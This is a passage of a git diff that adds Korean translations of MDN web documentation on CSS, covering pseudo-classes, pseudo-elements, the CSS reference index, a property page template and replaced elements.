+ <li>{{CSSxRef(":left")}}</li>
+ <li>{{CSSxRef(":link")}}</li>
+ <li>{{CSSxRef(":local-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":not", ":not()")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+ <li>{{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-child", ":nth-last-child()")}}</li>
+ <li>{{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}</li>
+ <li>{{CSSxRef(":nth-of-type", ":nth-of-type()")}}</li>
+ <li>{{CSSxRef(":only-child")}}</li>
+ <li>{{CSSxRef(":only-of-type")}}</li>
+ <li>{{CSSxRef(":optional")}}</li>
+ <li>{{CSSxRef(":out-of-range")}}</li>
+ <li>{{CSSxRef(":past")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":read-only")}}</li>
+ <li>{{CSSxRef(":read-write")}}</li>
+ <li>{{CSSxRef(":required")}}</li>
+ <li>{{CSSxRef(":right")}}</li>
+ <li>{{CSSxRef(":root")}}</li>
+ <li>{{CSSxRef(":scope")}}</li>
+ <li>{{CSSxRef(":state", ":state()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":target")}}</li>
+ <li>{{CSSxRef(":target-within")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":user-invalid")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":valid")}}</li>
+ <li>{{CSSxRef(":visited")}}</li>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Fullscreen")}}</td>
+ <td>{{Spec2("Fullscreen")}}</td>
+ <td>Defined <code>:fullscreen</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#pseudo-classes")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Defines when particular selectors match HTML elements.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Defined <code style="white-space: nowrap;">:any-link</code>, <code>:blank</code>, <code style="white-space: nowrap;">:local-link</code>, <code>:scope</code>, <code>:drop</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code style="white-space: nowrap;">:placeholder-shown</code>, <code style="white-space: nowrap;">:user-invalid</code>, <code style="white-space: nowrap;">:nth-col()</code>, <code style="white-space: nowrap;">:nth-last-col()</code>, <code>:is()</code> and <code>:where()</code>.<br>
+ Changed <code>:empty</code> to behave like {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.<br>
+ No significant change for other pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Copies the relevant section from the canonical (WHATWG) HTML spec.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Basic UI")}}</td>
+ <td>{{Spec2("CSS3 Basic UI")}}</td>
+ <td>Defined <code>:default</code>, <code>:valid</code>, <code>:invalid</code>, <code>:in-range</code>, <code>:out-of-range</code>, <code>:required</code>, <code>:optional</code>, <code>:read-only</code> and <code>:read-write</code>, but without the associated semantic meaning.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td>Defined <code>:target</code>, <code>:root</code>, <code>:nth-child()</code>, <code>:nth-last-of-child()</code>, <code>:nth-of-type()</code>, <code>:nth-last-of-type()</code>, <code>:last-child</code>, <code>:first-of-type</code>, <code>:last-of-type</code>, <code>:only-child</code>, <code>:only-of-type</code>, <code>:empty</code> and <code>:not()</code>.<br>
+ Defined the syntax of <code>:enabled</code>, <code>:disabled</code>, <code>:checked</code>, and <code>:indeterminate</code>, but without the associated semantic meaning.<br>
+ No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Defined <code>:lang()</code>, <code>:first-child</code>, <code>:hover</code>, and <code>:focus</code>.<br>
+ No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Defined <code>:link</code>, <code>:visited</code> and <code>:active</code>, but without the associated semantic meaning.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a></li>
+</ul>
diff --git a/files/ko/web/css/pseudo-elements/index.html b/files/ko/web/css/pseudo-elements/index.html
new file mode 100644
index 0000000000..b85c0a2904
--- /dev/null
+++ b/files/ko/web/css/pseudo-elements/index.html
@@ -0,0 +1,124 @@
+---
+title: 의사 요소
+slug: Web/CSS/Pseudo-elements
+tags:
+ - CSS
+ - Overview
+ - Pseudo-element
+ - Reference
+ - Selectors
+translation_of: Web/CSS/Pseudo-elements
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>의사 요소</strong>(가상 요소)는 선택자에 추가하는 키워드로, 선택한 요소의 일부분에만 스타일을 입힐 수 있습니다. 예를 들어 {{cssxref("::first-line")}}을 사용하면 문단 첫 줄의 글씨체만 바꿀 수 있습니다.</p>
+
+<pre class="brush: css">/* The first line of every &lt;p&gt; element. */
+p::first-line {
+ color: blue;
+ text-transform: uppercase;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 의사 요소와 달리 요소의 <strong>특정 상태</strong>에 스타일을 적용할 때 사용합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">selector::pseudo-element {
+ property: value;
+}</pre>
+
+<p>하나의 선택자에 하나의 의사 요소만 사용할 수 있습니다. 반드시 단순 선택자 뒤에 위치해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p>참고: 규칙을 따라 단일 콜론(<code>:</code>) 대신 이중 콜론(<code>::</code>)을 사용하여 의사 클래스와 의사 요소를 구별해야 합니다. 그러나 과거 W3C 명세에선 이런 구별을 두지 않았으므로 대부분의 브라우저는 기존 의사 요소에 대해 두 구문 모두 지원합니다.</p>
+</div>
+
+<h2 id="표준_의사_요소_색인">표준 의사 요소 색인</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef("::after", "::after (:after)")}}</li>
+ <li>{{CSSxRef("::backdrop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::before", "::before (:before)")}}</li>
+ <li>{{CSSxRef("::cue")}}</li>
+ <li>{{CSSxRef("::cue-region")}}</li>
+ <li>{{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}</li>
+ <li>{{CSSxRef("::first-line", "::first-line (:first-line)")}}</li>
+ <li>{{CSSxRef("::grammar-error")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::marker")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::part", "::part()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::placeholder")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("::selection")}}</li>
+ <li>{{CSSxRef("::slotted", "::slotted()")}}</li>
+ <li>{{CSSxRef("::spelling-error")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>브라우저</th>
+ <th>최하위 버전</th>
+ <th>지원</th>
+ </tr>
+ <tr>
+ <td rowspan="2">Internet Explorer</td>
+ <td>8.0</td>
+ <td><code>:pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td>9.0</td>
+ <td><code>:pseudo-element ::pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">Firefox (Gecko)</td>
+ <td>1.0 (1.0)</td>
+ <td><code>:pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td>1.0 (1.5)</td>
+ <td><code>:pseudo-element ::pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">Opera</td>
+ <td>4.0</td>
+ <td><code>:pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td>7.0</td>
+ <td><code>:pseudo-element ::pseudo-element</code></td>
+ </tr>
+ <tr>
+ <td>Safari (WebKit)</td>
+ <td>1.0 (85)</td>
+ <td><code>:pseudo-element ::pseudo-element</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Defined pseudo-classes and pseudo-elements.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a></li>
+</ul>
diff --git a/files/ko/web/css/reference/index.html b/files/ko/web/css/reference/index.html
new file mode 100644
index 0000000000..21ee49d424
--- /dev/null
+++ b/files/ko/web/css/reference/index.html
@@ -0,0 +1,190 @@
+---
+title: CSS 참고서
+slug: Web/CSS/Reference
+tags:
+ - CSS
+ - Guide
+ - Overview
+ - Reference
+ - 'l10n:priority'
+translation_of: Web/CSS/Reference
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 참고서</strong>를 이용해 <a href="#키워드_색인">알파벳 순서로 정리한</a> 모든 표준 <a href="/ko/docs/Web/CSS">CSS</a> 속성, <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>, <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>, <a href="/ko/docs/Web/CSS/CSS_Types">CSS 자료형</a>과 <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 찾아보세요. 또한 <a href="#선택자">유형별로 정리한 CSS 선택자</a>와 <a href="#개념">주요 CSS 개념</a>도 찾아볼 수 있습니다. 추가로 간단한 <a href="#DOM-CSS_CSSOM">DOM-CSS / CSSOM</a> 참조도 들어 있습니다.</p>
+
+<h2 id="기본_규칙_구문">기본 규칙 구문</h2>
+
+<h3 id="스타일_규칙_구문">스타일 규칙 구문</h3>
+
+<pre class="syntaxbox notranslate"><var>style-rule</var> <strong>::=</strong>
+ <var>selectors-list</var> <strong>{</strong>
+ <var>properties-list</var>
+ <strong>}</strong>
+</pre>
+
+<p>... where :</p>
+
+<pre class="syntaxbox notranslate"><var>selectors-list</var> <strong>::=</strong>
+ <var>selector</var>[<strong>:</strong><var>pseudo-class</var>] [<strong>::</strong><var>pseudo-element</var>]
+ [<strong>,</strong> <var>selectors-list</var>]
+
+<var>properties-list</var> <strong>::=</strong>
+ [<var>property</var> <strong>:</strong> <var>value</var>] [<strong>;</strong> <var>properties-list</var>]
+</pre>
+
+<p>아래 <a href="#선택자">선택자</a>, <a href="#의사_클래스">의사 클래스</a>, <a href="#의사_요소">의사 요소</a> 목록을 참고하세요. 각 <em><code>value</code></em>의 구문은 지정한 <em><code>property</code></em>가 정의하는 자료형에 따라 다릅니다.</p>
+
+<h4 id="스타일_규칙_예제">스타일 규칙 예제</h4>
+
+<pre class="brush: css notranslate">strong {
+ color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+ display: block;
+}
+</pre>
+
+<p>CSS 선택자 구문을 설명하는 입문자 단계의 소개 부분은 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS/%EC%84%A0%ED%83%9D%EC%9E%90">이 자습서</a>에서 찾아볼 수 있습니다. 규칙 정의에서 <a href="/ko/docs/Web/CSS/syntax">구문</a> 오류가 하나라도 발생하면 규칙 전체가 유효하지 않다는 점을 명심하세요. 유효하지 않은 규칙은 브라우저가 무시합니다. CSS 규칙 정의는 모두 (ASCII) <a href="https://www.w3.org/TR/css-syntax-3/#intro">텍스트에 기반</a>하지만, DOM-CSS / CSSOM (규칙 관리 시스템)은 <a href="https://www.w3.org/TR/cssom/#introduction">객체에 기반</a>합니다.</p>
+
+<h3 id="규칙_구문">@규칙 구문</h3>
+
+<p>@규칙 체계는 매우 다양하므로 필요한 구체적인 구문을 찾으려면 <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>을 봐주세요.</p>
+
+<h2 id="키워드_색인">키워드 색인</h2>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 이 색인에 있는 속성 이름에는 CSS 표준 이름과 다른 <a href="/ko/docs/Web/CSS/CSS_Properties_Reference">JavaScript 이름</a>이 들어가지 않습니다.</p>
+</div>
+
+<div>{{CSS_Ref}}</div>
+
+<h2 id="선택자">선택자</h2>
+
+<p>다음은 <a href="/ko/docs/Web/CSS/CSS_Selectors">선택자</a> 목록입니다. 선택자를 사용하면 DOM 요소의 다양한 기능에 기반한 조건을 통해 스타일을 입힐 수 있습니다.</p>
+
+<h3 id="기본_선택자">기본 선택자</h3>
+
+<p><strong>기본 선택자</strong>는 선택자의 기초를 이루며, 조합을 통해 더 복잡한 선택자를 생성합니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a> <code>*</code>, <code>ns|*</code>, <code>*|*</code>, <code>|*</code></li>
+ <li><a href="/ko/docs/Web/CSS/Type_selectors">태그 선택자</a> <em><code>elementname</code></em></li>
+ <li><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a> <code>.<em>classname</em></code></li>
+ <li><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a> <code>#<em>idname</em></code></li>
+ <li><a href="/ko/docs/Web/CSS/Attribute_selectors">속성 선택자</a> <code>[<em>attr</em>=<em>value</em>]</code></li>
+</ul>
+
+<h3 id="그룹_선택자">그룹 선택자</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Selector_list">선택자 목록</a> <code><em>A</em>, <em>B</em></code></dt>
+ <dd>A와 B 요소를 모두 선택합니다. 일치하는 여러가지 요소를 선택할 때 사용합니다.</dd>
+</dl>
+
+<h3 id="결합자">결합자</h3>
+
+<p>결합자는 "<em><code>A</code></em>는 <em><code>B</code></em>의 자식", "<em><code>A</code></em>는 <em><code>B</code></em>와 인접 요소"처럼, 두 개 이상의 선택자끼리 관계를 형성합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/%EC%9D%B8%EC%A0%91_%ED%98%95%EC%A0%9C_%EC%84%A0%ED%83%9D%EC%9E%90">인접 형제 결합자</a> <code><em>A</em> + <em>B</em></code></dt>
+ <dd>요소 <em><code>A</code></em>와 <em><code>B</code></em>가 같은 부모를 가지며 <em><code>B</code></em>가 <em><code>A</code></em>를 바로 뒤따라야 하도록 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a> <code><em>A</em> ~ <em>B</em></code></dt>
+ <dd>요소 <em><code>A</code></em>와 <em><code>B</code></em>가 같은 부모를 가지며 <em><code>B</code></em>가 <em><code>A</code></em>를 뒤따라야 하도록 지정합니다. 그러나 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 옆에 위치해야 할 필요는 없습니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a> <code><em>A</em> &gt; <em>B</em></code></dt>
+ <dd>요소 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 밑에 위치해야 하도록 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a> <code><em>A</em> <em>B</em></code></dt>
+ <dd>요소 <em><code>B</code></em>가 <em><code>A</code></em>의 밑에 위치해야 하도록 지정합니다. 그러나 <em><code>B</code></em>가 <em><code>A</code></em>의 바로 아래에 있을 필요는 없습니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Column_combinator">열 결합자</a> <code><em>A</em> || <em>B</em></code> {{experimental_inline}}</dt>
+ <dd>요소 <em><code>B</code></em>가 표의 열 <em><code>A</code></em> 안에 위치해야 하도록 지정합니다. 여러 열에 걸친 요소는, 각각의 열 모두에 대해 안쪽에 위치한 것으로 간주합니다.</dd>
+</dl>
+
+<h3 id="의사_클래스요소">의사 클래스/요소</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a> <code>:</code></dt>
+ <dd>요소의 특정 상태를 선택합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a> <code>::</code></dt>
+ <dd>HTML이 포함하지 않은 객체를 나타냅니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>같이 보기:</strong> <a href="https://www.w3.org/TR/selectors/#overview">Selectors Level 4 명세의 선택자 목록.</a></p>
+</div>
+
+<h2 id="개념">개념</h2>
+
+<h3 id="구문과_의미">구문과 의미</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Syntax">CSS 구문</a></li>
+ <li><a href="/ko/docs/Web/CSS/At-rule">@-규칙</a></li>
+ <li><a href="/ko/docs/Web/CSS/Cascade">종속</a></li>
+ <li><a href="/ko/docs/Web/CSS/Comments">주석</a></li>
+ <li><a href="/ko/docs/Glossary/Descriptor_(CSS)">서술자</a></li>
+ <li><a href="/ko/docs/Web/CSS/inheritance">상속</a></li>
+ <li><a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a></li>
+ <li><a href="/ko/docs/Web/CSS/Specificity">명시도</a></li>
+ <li><a href="/ko/docs/Web/CSS/Value_definition_syntax">값 정의 구문</a></li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/actual_value">실제값</a></li>
+ <li><a href="/ko/docs/Web/CSS/computed_value">계산값</a></li>
+ <li><a href="/ko/docs/Web/CSS/initial_value">초깃값</a></li>
+ <li><a href="/ko/docs/Web/CSS/resolved_value">결정값</a></li>
+ <li><a href="/ko/docs/Web/CSS/specified_value">지정값</a></li>
+ <li><a href="/ko/docs/Web/CSS/used_value">사용값</a></li>
+</ul>
+
+<h3 id="레이아웃">레이아웃</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a></li>
+ <li><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a></li>
+ <li><a href="/ko/docs/Web/CSS/Layout_mode">레이아웃 모드</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a></li>
+ <li><a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a></li>
+ <li><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 맥락</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<h3 id="주요_객체_유형">주요 객체 유형</h3>
+
+<ul>
+ <li>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}</li>
+ <li><code>{{DOMxRef("StyleSheetList", "styleSheets", "", 1)}}[i].{{DOMxRef("CSSRuleList", "cssRules", "", 1)}}</code></li>
+ <li><code>cssRules[i].{{DOMxRef("CSSRule.cssText", "cssText", "", 1)}}</code> <span style="white-space: nowrap;">(selector &amp; style)</span></li>
+ <li><code>cssRules[i].{{DOMxRef("CSSStyleRule.selectorText", "selectorText", "", 1)}}</code></li>
+ <li>{{DOMxRef("HTMLElement.style")}}</li>
+ <li><code>HTMLElement.style.{{DOMxRef("CSSStyleDeclaration.cssText", "cssText", "", 1)}}</code> (just style)</li>
+ <li>{{DOMxRef("Element.className")}}</li>
+ <li>{{DOMxRef("Element.classList")}}</li>
+</ul>
+
+<h3 id="중요_메서드">중요 메서드</h3>
+
+<ul>
+ <li>{{DOMxRef("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{DOMxRef("CSSStyleSheet.deleteRule()")}}</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions">Mozilla CSS 확장</a> (<code>-moz-</code> 접두사 사용)</li>
+ <li><a href="/ko/docs/Web/CSS/WebKit_Extensions">WebKit CSS 확장</a> (대다수 <code>-webkit-</code> 접두사 사용)</li>
+ <li><a href="/ko/docs/Web/CSS/Microsoft_Extensions">Microsoft CSS 확장</a> (<code>-ms-</code> 접두사 사용)</li>
+</ul>
+
+<h2 id="외부_링크">외부 링크</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/CSS/#indices">CSS 색인 (w3.org)</a></li>
+</ul>
diff --git a/files/ko/web/css/reference/property_template/index.html b/files/ko/web/css/reference/property_template/index.html
new file mode 100644
index 0000000000..9df3680b49
--- /dev/null
+++ b/files/ko/web/css/reference/property_template/index.html
@@ -0,0 +1,131 @@
+---
+title: Property Template
+slug: Web/CSS/Reference/Property_Template
+tags:
+ - CSS
+ - MDN Meta
+translation_of: MDN/Contribute/Howto/Document_a_CSS_property/Property_template
+---
+<p>{{MDNSidebar}}</p>
+
+<div class="blockIndicator note">
+<p><span class="seoSummary">This is a template page for CSS property. Please use this as a raw template when you create a new CSS property page.</span><br>
+ <em>Comment in italics are information about how to use part of the template</em></p>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p><em>Add the non-standard header if the property is not on the standard track. In the summary section, in a note, describe how to achieve its effect using standard Open Web technologies.</em></p>
+
+<p>{{Non-standard_Header}}</p>
+
+<p><em>Add the experimental header if in your judgement the property's behavior is likely to change in future, for example because of very immature specifications or competing incompatible implementations.</em></p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p><em>Description of the property. It must start by "The <code>xyz</code> CSS property" followed by a one-sentence description. The first paragraph of this introduction will be used by default as the description of the page.</em></p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Placeholder for any special messages.</p>
+</div>
+
+<p><em>But don't add several notes. It should be really important, or be part of the description!</em></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css;">/* Keyword values */
+property: value1;
+property: value2;
+
+/* &lt;length&gt; values */
+property: 12.8em; /* A valid length */
+
+/* Global values */
+property: inherit; /* &lt;-- To remember those are a possible values */
+property: initial;
+property: unset;
+</pre>
+
+<p><em>The second part of the is a simple translation of the what the formal syntax tells. It is aimed at medium-level users that will not understand well the formal syntax. </em></p>
+
+<h3 id="Values">Values</h3>
+
+<p><em>Each element of the formal syntax must be explained</em></p>
+
+<dl>
+ <dt><code>value_1</code></dt>
+ <dd>Is a keyword meaning...</dd>
+ <dt><code>value_2</code> {{Non-standard_Inline}} {{Experimental_Inline}}</dt>
+ <dd>Is a keyword meaning</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<p><em>The formal syntax must be taken from the spec and added to the <a href="https://github.com/mdn/data">MDN data repository</a>. It is an important tool to get precise syntax information for advanced users.</em></p>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p><em>Add this only if there is such an example. No dead link here.</em></p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css"><em>elementName {
+ property: value;
+ thisis: "example";
+ dream: 10000000mm;
+ love: "danger";
+}</em></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><em>&lt;elementName&gt;foo bar&lt;/elementName&gt;</em></pre>
+
+<h3 id="Result">Result</h3>
+
+<p><em>{{EmbedLiveSample("Examples")}}</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><em>Exclusively use this standard table. Place older spec on the bottom. Use the templates SpecName() for the name and Spec2() for the status. That way, when the spec progress on the standard track, or move, the table content will be automatically adapted.</em></p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Animations", "#fake-link", "fake-value")}}</td>
+ <td>{{Spec2("CSS3 Animations")}}</td>
+ <td>No change from CSS 2.1</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "#fake-link", "fake value")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p><em>(See <a href="/Project:en/Compatibility_tables" title="Project:en/Compatibility_tables">Compatibility tables</a> for more information)</em></p>
+
+
+
+<p>{{Compat("css.property.<em>property-name</em>")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><em>Links of link of related properties: {{CSSxRef("example-property")}}</em></li>
+ <li><em>Links to article showing how to use the property in context: "Using … article"</em></li>
+ <li><em>Very good external links. Don't be afraid of external links, but they should be outstanding, and not only mention minor details.</em></li>
+</ul>
diff --git a/files/ko/web/css/replaced_element/index.html b/files/ko/web/css/replaced_element/index.html
new file mode 100644
index 0000000000..8914554a01
--- /dev/null
+++ b/files/ko/web/css/replaced_element/index.html
@@ -0,0 +1,65 @@
+---
+title: 대체 요소
+slug: Web/CSS/Replaced_element
+tags:
+ - CSS
+ - Guide
+ - Layout
+ - Reference
+translation_of: Web/CSS/Replaced_element
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a>의 <strong>대체 요소</strong>(replaced element)란 자신의 표현 결과가 CSS의 범위를 벗어나는 요소로서, CSS 서식 모델과는 분리된 외부 객체인 요소입니다.</span></p>
+
+<p>간단히 말해서, 대체 요소는 자신의 콘텐츠가 현재 문서 스타일의 영향을 받지 않는 요소라고 할 수 있습니다. CSS는 대체 요소의 위치에 영향을 줄 수 있지만 콘텐츠에는 미치지 못합니다. {{htmlelement("iframe")}} 등 일부 대체 요소는 자신만의 스타일 시트를 가질 수도 있지만, 부모 문서의 스타일을 상속하지는 않습니다.</p>
+
+<p>CSS가 대체 요소에 영향을 줄 수 있는 다른 유일한 방법은, 일련의 속성을 통해 요소 박스에서 콘텐츠의 위치를 제어하는 것입니다. {{anch("콘텐츠 박스 내부의 객체 위치 제어")}} 항목을 참고하세요.</p>
+
+<h2 id="대체_요소">대체 요소</h2>
+
+<p>전형적인 대체 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
+
+<p>일부 요소는 특정한 경우에만 대체 요소로 취급합니다.</p>
+
+<ul>
+ <li>{{HTMLElement("option")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("canvas")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+</ul>
+
+<p>HTML 명세에 따르면 {{htmlelement("input")}} 또한 대체될 수 있습니다. <code>&lt;input&gt;</code> 유형이 <code>"image"</code>인 경우 {{htmlelement("img")}}와 유사한 대체 요소이기 때문입니다. 그러나 다른 유형의 <code>&lt;input&gt;</code>을 포함한 나머지 양식 컨트롤 요소는 비대체 요소라고 명시하고 있습니다. (명세는 양식 요소의 플랫폼별 기본 렌더링을 "위젯"(Widget)이라는 용어로 설명하고 있습니다.)</p>
+
+<p>CSS {{cssxref("content")}} 속성을 사용해 추가한 객체도 대체 요소로, HTML 마크업에는 존재하지 않기 때문에 "익명" 대체 요소라고 합니다.</p>
+
+<h2 id="대체_요소와_CSS">대체 요소와 CSS</h2>
+
+<p>CSS는 바깥 여백이나 일부 <code>auto</code> 값 계산 등 특정 상황에서 대체 요소를 특별히 취급합니다.</p>
+
+<p>일부 대체 요소는 고유 크기 또는 정의된 기준선을 가질 수 있으며, {{cssxref("vertical-align")}} 등의 CSS 속성이 사용할 수 있습니다. 오직 대체 요소만이 고유 크기를 가질 수 있습니다.</p>
+
+<h3 id="콘텐츠_박스_내부의_객체_위치_제어">콘텐츠 박스 내부의 객체 위치 제어</h3>
+
+<p>특정 CSS 속성을 사용하면 대체 요소 내의 객체가 요소의 박스 영역 어디에 배치되어야 하는지 지정할 수 있으며, {{SpecName("CSS3 Images")}}와 {{SpecName("CSS4 Images")}} 명세가 정의하고 있습니다.</p>
+
+<dl>
+ <dt>{{cssxref("object-fit")}}</dt>
+ <dd>대체 요소의 콘텐츠 객체를 대체 요소의 박스에 어떻게 맞출지 지정합니다.</dd>
+ <dt>{{cssxref("object-position")}}</dt>
+ <dd>대체 요소의 콘텐츠 객체를 정렬하는 방법을 지정합니다.</dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
